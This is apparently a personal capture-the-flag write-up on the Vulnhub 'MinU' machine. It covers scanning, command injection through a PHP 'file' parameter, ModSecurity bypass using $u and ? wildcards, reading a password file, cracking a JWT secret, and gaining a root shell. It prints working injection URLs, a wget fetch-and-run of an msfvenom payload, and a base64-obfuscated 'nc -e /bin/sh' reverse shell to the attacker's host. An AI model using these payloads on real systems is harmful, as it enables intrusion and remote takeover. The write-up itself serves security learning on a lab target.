Vulnhub CTF

VULNHUB

Minus
nmap scan on 1000 ports TCP and udp

80 tcp open
68 udp open | filtered
1445 udp open | filtered
32769 udp open | filtered
639 upd open | filtered
3389 udp open | filtered

Going to port 80 on browser gives the default apache page.

Running dirb with default list and php extension gives us this dir:
/test.php
This dir shows a webpage with information on user agent used some interesting at the bottom of page we have a buttom to show last visitor data:

http://192.168.0.113/test.php?file=last.html|pwd
piping pwd we can see /var/www/html. RCE

But thats the only command its working so it must be behind a firewall or something.

Running wafwoof:
The site http://192.168.0.113 is behind a ModSecurity (OWASP CRS)

http://192.168.0.113/test.php?file=www.tumadre.com;+$u+ls%20/home >>>>>>> this shows us bob as the user.
notice we append a false url then
;+$u+ls(command)(args)
then playing around with command we found with:
http://192.168.0.113/test.php?file=www.tumadre.com;+$u+ls -la /home/bob

total 12 drwxr-xr-x 2 bob bob 4096 Apr 26 2018 . drwxr-xr-x 3 root root 4096 Apr 24 2018 .. -rw-r--r-- 1 bob bob 155 Apr 30 2018 "._pw_"

now we can cat that file:
http://192.168.0.113/test.php?file=www.tumadre.com;+$u+cat%20/home/bob/._pw_
which give us this encoded string:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg
now reading about this type of encoded string i manage to found its a JWT(JSON WEB TOKEN)
Simply put, a JWT is just a string with the following format:

header.payload.signature

Now searching for crack tool to this JWT manage to find this:
https://github.com/brendan-rius/c-jwt-cracker
running it we found the secret:
Secret is "mlnV1"
Now create a payload with msfvenom
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.1.106 lport=4444 -f elf > shell
now we can transfer to target with php server
php –S 0.0.0.0:80
Then download the above malicious file with the help of wget, hence you can run the following command for downloading it into target machine.
http://192.168.0.113/test.php?file=www.tumadre.com;+$u+wget+-O+/tmp/shell+http://192.168.0.114/pay.elf
Now let’s check whether the file is uploaded successfully or not!

Run following command to view the malicious file “shell” file inside the /tmp directory.
http://192.168.0.113/test.php?file=www.tumadre.com;+$u+ls /tmp

Now give the full permission to the uploaded file “shell” with the help of the following command:
http://192.168.0.113/test.php?file=www.tumadre.com;+$u+chmod 777 /tmp/shell

now lets execute our payload
http://192.168.0.113/test.php?file=www.tumadre.com;+$u+/tmp/shell

but it seems not working so i tyr another method

http://192.168.0.113/test.php?file=%26/bin/ech?%20bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjAuMTE0IDQ0NDQ=|/u?r/b?n/b?se64%20-d|/b?n/sh

/bin/ech? equivalent to  /bin/echo.
bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjAuMTE0IDQ0NDQ= (nc -e /bin/sh 192.168.0.114 4444) encoded in base64
/u?r/b?n/b?se64%20-d equivalent to /usr/bin/base64 -d  in an url encoded evasion
|/b?n/sh equivalent to |/bin/sh.

And it worked!!
We have reverse shell

Now trying to upgrade to a tty shell we use
bash -i
SHELL=/bin/bash script -q /dev/null
and we have tty
now trying su with the password we found earlier
we got root!

root@MinU:~# ccaatt  ffllaagg..ttxxtt

  __  __ _       _    _      __
 |  \/  (_)     | |  | |    /_ |
 | \  / |_ _ __ | |  | |_   _| |
 | |\/| | | '_ \| |  | \ \ / / |
 | |  | | | | | | |__| |\ V /| |
 |_|  |_|_|_| |_|\____/  \_/ |_|


# You got r00t!

flag{c89031ac1b40954bb9a0589adcb6d174}

# You probably know this by now but the webserver on this challenge is
# protected by mod_security and the owasp crs 3.0 project on paranoia level 3.
# The webpage is so poorly coded that even this configuration can be bypassed
# by using the bash wildcard ? that allows mod_security to let the command through.
# At least that is how the challenge was designed ;)
# Let me know if you got here using another method!

# [email protected]
# @_8bitsec
#################################################################################